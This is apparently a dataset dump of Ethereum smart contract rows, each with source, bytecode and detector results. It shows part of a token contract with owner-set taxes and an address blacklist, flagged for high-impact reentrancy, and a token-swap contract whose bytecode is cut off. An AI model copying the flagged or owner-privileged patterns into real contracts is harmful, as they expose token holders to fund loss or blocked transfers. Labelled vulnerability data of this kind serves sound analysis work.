(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 28) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 28) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102a95780638da5cb5b146102be57806395d89b41146102e65780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b806323b872dd116100f257806323b872dd14610218578063273123b714610238578063313ce567146102585780636fc3eaec1461027457806370a082311461028957600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a357806318160ddd146101d35780631bbae6e0146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611879565b61041c565b005b34801561016857600080fd5b5060408051808201909152600c81526b4465616473686f7420496e7560a01b60208201525b60405161019a91906118f6565b60405180910390f35b3480156101af57600080fd5b506101c36101be366004611787565b61046d565b604051901515815260200161019a565b3480156101df57600080fd5b50670de0b6b3a76400005b60405190815260200161019a565b34801561020457600080fd5b5061015a6102133660046118b1565b610484565b34801561022457600080fd5b506101c3610233366004611747565b6104c6565b34801561024457600080fd5b5061015a6102533660046116d7565b61052f565b34801561026457600080fd5b506040516009815260200161019a565b34801561028057600080fd5b5061015a61057a565b34801561029557600080fd5b506101ea6102a43660046116d7565b6105ae565b3480156102b557600080fd5b5061015a6105d0565b3480156102ca57600080fd5b506000546040516001600160a01b03909116815260200161019a565b3480156102f257600080fd5b506040805180820190915260088152671111505114d213d560c21b602082015261018d565b34801561032357600080fd5b5061015a610644565b34801561033857600080fd5b506101c3610347366004611787565b610883565b34801561035857600080fd5b5061015a6103673660046117b2565b610890565b34801561037857600080fd5b5061015a610934565b34801561038d57600080fd5b5061015a610974565b3480156103a257600080fd5b5061015a6103b13660046118b1565b610b3a565b3480156103c257600080fd5b5061015a6103d13660046118b1565b610b72565b3480156103e257600080fd5b506101ea6103f136600461170f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044f5760405162461bcd60e51b815260040161044690611949565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047a338484610baa565b5060015b92915050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260040161044690611949565b662386f26fc100008111156104c35760108190555b50565b60006104d3848484610cce565b610525843361052085604051806060016040528060288152602001611ac7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc5565b610baa565b5060019392505050565b6000546001600160a01b031633146105595760405162461bcd60e51b815260040161044690611949565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161044690611949565b476104c381610fff565b6001600160a01b03811660009081526002602052604081205461047e90611039565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161044690611949565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161044690611949565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076091906116f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e091906116f3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086091906116f3565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047a338484610cce565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161044690611949565b60005b8151811015610930576001600660008484815181106108ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092881611a5c565b9150506108bd565b5050565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161044690611949565b6000610969306105ae565b90506104c3816110bd565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161044690611949565b600e546109be9030906001600160a01b0316670de0b6b3a7640000610baa565b600e546001600160a01b031663f305d71947306109da816105ae565b6000806109ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5257600080fd5b505af1158015610a66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8b91906118c9565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0257600080fd5b505af1158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c39190611895565b6000546001600160a01b03163314610b645760405162461bcd60e51b815260040161044690611949565b601c8110156104c357600b55565b6000546001600160a01b03163314610b9c5760405162461bcd60e51b815260040161044690611949565b601c8110156104c357600c55565b6001600160a01b038316610c0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610c6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610d945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610df65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b6001600160a01b03831660009081526006602052604090205460ff1615610e1c57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5e57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb5576000600955600c54600a55600f546001600160a01b038481169116148015610e995750600e546001600160a01b03838116911614155b8015610ebe57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed35750600f54600160b81b900460ff165b15610ee757601054811115610ee757600080fd5b600f546001600160a01b038381169116148015610f125750600e546001600160a01b03848116911614155b8015610f3757506001600160a01b03831660009081526005602052604090205460ff16155b15610f48576000600955600b54600a555b6000610f53306105ae565b600f54909150600160a81b900460ff16158015610f7e5750600f546001600160a01b03858116911614155b8015610f935750600f54600160b01b900460ff165b15610fb357610fa1816110bd565b478015610fb157610fb147610fff565b505b505b610fc0838383611262565b505050565b60008184841115610fe95760405162461bcd60e51b815260040161044691906118f6565b506000610ff68486611a45565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610930573d6000803e3d6000fd5b60006007548211156110a05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610446565b60006110aa61126d565b90506110b68382611290565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116757600080fd5b505afa15801561117b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119f91906116f3565b816001815181106111c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e69130911684610baa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121f90859060009086903090429060040161197e565b600060405180830381600087803b15801561123957600080fd5b505af115801561124d573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc08383836112d2565b600080600061127a6113c9565b90925090506112898282611290565b9250505090565b60006110b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611409565b6000806000806000806112e487611437565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113169087611494565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134590866114d6565b6001600160a01b03891660009081526002602052604090205561136781611535565b611371848361157f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b691815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e48282611290565b82101561140057505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361142a5760405162461bcd60e51b815260040161044691906118f6565b506000610ff68486611a06565b60008060008060008060008060006114548a600954600a546115a3565b925092509250600061146461126d565b905060008060006114778e8787876115f8565b919e509c509a509598509396509194505050505091939550919395565b60006110b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc5565b6000806114e383856119ee565b9050838110156110b65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b600061153f61126d565b9050600061154d8383611648565b3060009081526002602052604090205490915061156a90826114d6565b30600090815260026020526040902055505050565b60075461158c9083611494565b60075560085461159c90826114d6565b6008555050565b60008080806115bd60646115b78989611648565b90611290565b905060006115d060646115b78a89611648565b905060006115e8826115e28b86611494565b90611494565b9992985090965090945050505050565b60008080806116078886611648565b905060006116158887611648565b905060006116238888611648565b90506000611635826115e28686611494565b939b939a50919850919650505050505050565b6000826116575750600061047e565b60006116638385611a26565b9050826116708583611a06565b146110b65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b80356116d281611aa3565b919050565b6000602082840312156116e8578081fd5b81356110b681611aa3565b600060208284031215611704578081fd5b81516110b681611aa3565b60008060408385031215611721578081fd5b823561172c81611aa3565b9150602083013561173c81611aa3565b809150509250929050565b60008060006060848603121561175b578081fd5b833561176681611aa3565b9250602084013561177681611aa3565b929592945050506040919091013590565b60008060408385031215611799578182fd5b82356117a481611aa3565b946020939093013593505050565b600060208083850312156117c4578182fd5b823567ffffffffffffffff808211156117db578384fd5b818501915085601f8301126117ee578384fd5b81358181111561180057611800611a8d565b8060051b604051601f19603f8301168101818110858211171561182557611825611a8d565b604052828152858101935084860182860187018a1015611843578788fd5b8795505b8386101561186c57611858816116c7565b855260019590950194938601938601611847565b5098975050505050505050565b60006020828403121561188a578081fd5b81356110b681611ab8565b6000602082840312156118a6578081fd5b81516110b681611ab8565b6000602082840312156118c2578081fd5b5035919050565b6000806000606084860312156118dd578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561192257858101830151858201604001528201611906565b818111156119335783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119cd5784516001600160a01b0316835293830193918301916001016119a8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0157611a01611a77565b500190565b600082611a2157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4057611a40611a77565b500290565b600082821015611a5757611a57611a77565b500390565b6000600019821415611a7057611a70611a77565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c357600080fd5b80151581146104c357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209837eb0b5abfe6bb53d4824bc48b3b6fd188a3bac65e2d1bbcd3fd4e73f6939f64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,448 |
0x1F3928F086E50bE5bD40a588f72Bee79859221C2 | /**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract SwapToken{
using SafeERC20 for IERC20;
IERC20 public oldToken;
IERC20 public newToken;
address public owner;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor(IERC20 _oldToken, IERC20 _newToken){
owner = msg.sender;
oldToken = _oldToken;
newToken = _newToken;
}
modifier onlyOwner{
require(owner == msg.sender, "Only owner can call this function");
_;
}
function claimToken(uint _amount) public{
uint bal = oldTokenBalance(msg.sender);
require(_amount <= bal, "Incorrect amount");
require(oldToken.allowance(msg.sender, address(this)) >= _amount, "not approved");
oldToken.safeTransferFrom(msg.sender, deadAddress, _amount);
newToken.safeTransfer(msg.sender, _amount);
}
function oldTokenBalance(address userAddress) public view returns(uint){
return oldToken.balanceOf(userAddress);
}
function newTokenBalance(address userAddress) public view returns(uint){
return newToken.balanceOf(userAddress);
}
function oldTokenContractBalance() public view returns(uint){
return oldToken.balanceOf(address(this));
}
function newTokenCntractBalance() public view returns(uint){
return newToken.balanceOf(address(this));
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out Staking Token from this smart contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063a879af4511610066578063a879af4514610137578063a9e7c2e514610167578063b31c710a14610183578063c42bd05a146101a1578063d08baf83146101bf5761009e565b806327c8f835146100a35780636a395ccb146100c1578063873c54e7146100dd5780638da5cb5b146100fb57806390533c1914610119575b600080fd5b6100ab6101ef565b6040516100b89190610ec6565b60405180910390f35b6100db60048036038101906100d69190610c6c565b610215565b005b6100e5610338565b6040516100f29190611067565b60405180910390f35b6101036103e9565b6040516101109190610ec6565b60405180910390f35b61012161040f565b60405161012e9190611067565b60405180910390f35b610151600480360381019061014c9190610c3f565b6104c1565b60405161015e9190611067565b60405180910390f35b610181600480360381019061017c9190610cec565b610574565b005b61018b610771565b6040516101989190610f6a565b60405180910390f35b6101a9610795565b6040516101b69190610f6a565b60405180910390f35b6101d960048036038101906101d49190610c3f565b6107bb565b6040516101e69190611067565b60405180910390f35b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146102a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029c90610fa7565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016102e0929190610f41565b602060405180830381600087803b1580156102fa57600080fd5b505af115801561030e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103329190610cbf565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016103949190610ec6565b60206040518083038186803b1580156103ac57600080fd5b505afa1580156103c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e49190610d19565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161046c9190610ec6565b60206040518083038186803b15801561048457600080fd5b505afa158015610498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bc9190610d19565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161051d9190610ec6565b60206040518083038186803b15801561053557600080fd5b505afa158015610549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d9190610d19565b9050919050565b600061057f336104c1565b9050808211156105c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bb90611047565b60405180910390fd5b8160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401610620929190610ee1565b60206040518083038186803b15801561063857600080fd5b505afa15801561064c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106709190610d19565b10156106b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a890611007565b60405180910390fd5b61072033600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661086f909392919063ffffffff16565b61076d3383600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108f89092919063ffffffff16565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016108189190610ec6565b60206040518083038186803b15801561083057600080fd5b505afa158015610844573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108689190610d19565b9050919050565b6108f2846323b872dd60e01b85858560405160240161089093929190610f0a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061097e565b50505050565b6109798363a9059cbb60e01b8484604051602401610917929190610f41565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061097e565b505050565b60006109e0826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610a459092919063ffffffff16565b9050600081511115610a405780806020019051810190610a009190610cbf565b610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690611027565b60405180910390fd5b5b505050565b6060610a548484600085610a5d565b90509392505050565b606082471015610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9990610fc7565b60405180910390fd5b610aab85610b71565b610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae190610fe7565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051610b139190610eaf565b60006040518083038185875af1925050503d8060008114610b50576040519150601f19603f3d011682016040523d82523d6000602084013e610b55565b606091505b5091509150610b65828286610b84565b92505050949350505050565b600080823b905060008111915050919050565b60608315610b9457829050610be4565b600083511115610ba75782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb9190610f85565b60405180910390fd5b9392505050565b600081359050610bfa816112e3565b92915050565b600081519050610c0f816112fa565b92915050565b600081359050610c2481611311565b92915050565b600081519050610c3981611311565b92915050565b600060208284031215610c5557610c54611165565b5b6000610c6384828501610beb565b91505092915050565b600080600060608486031215610c8557610c84611165565b5b6000610c9386828701610beb565b9350506020610ca486828701610beb565b9250506040610cb586828701610c15565b9150509250925092565b600060208284031215610cd557610cd4611165565b5b6000610ce384828501610c00565b91505092915050565b600060208284031215610d0257610d01611165565b5b6000610d1084828501610c15565b91505092915050565b600060208284031215610d2f57610d2e6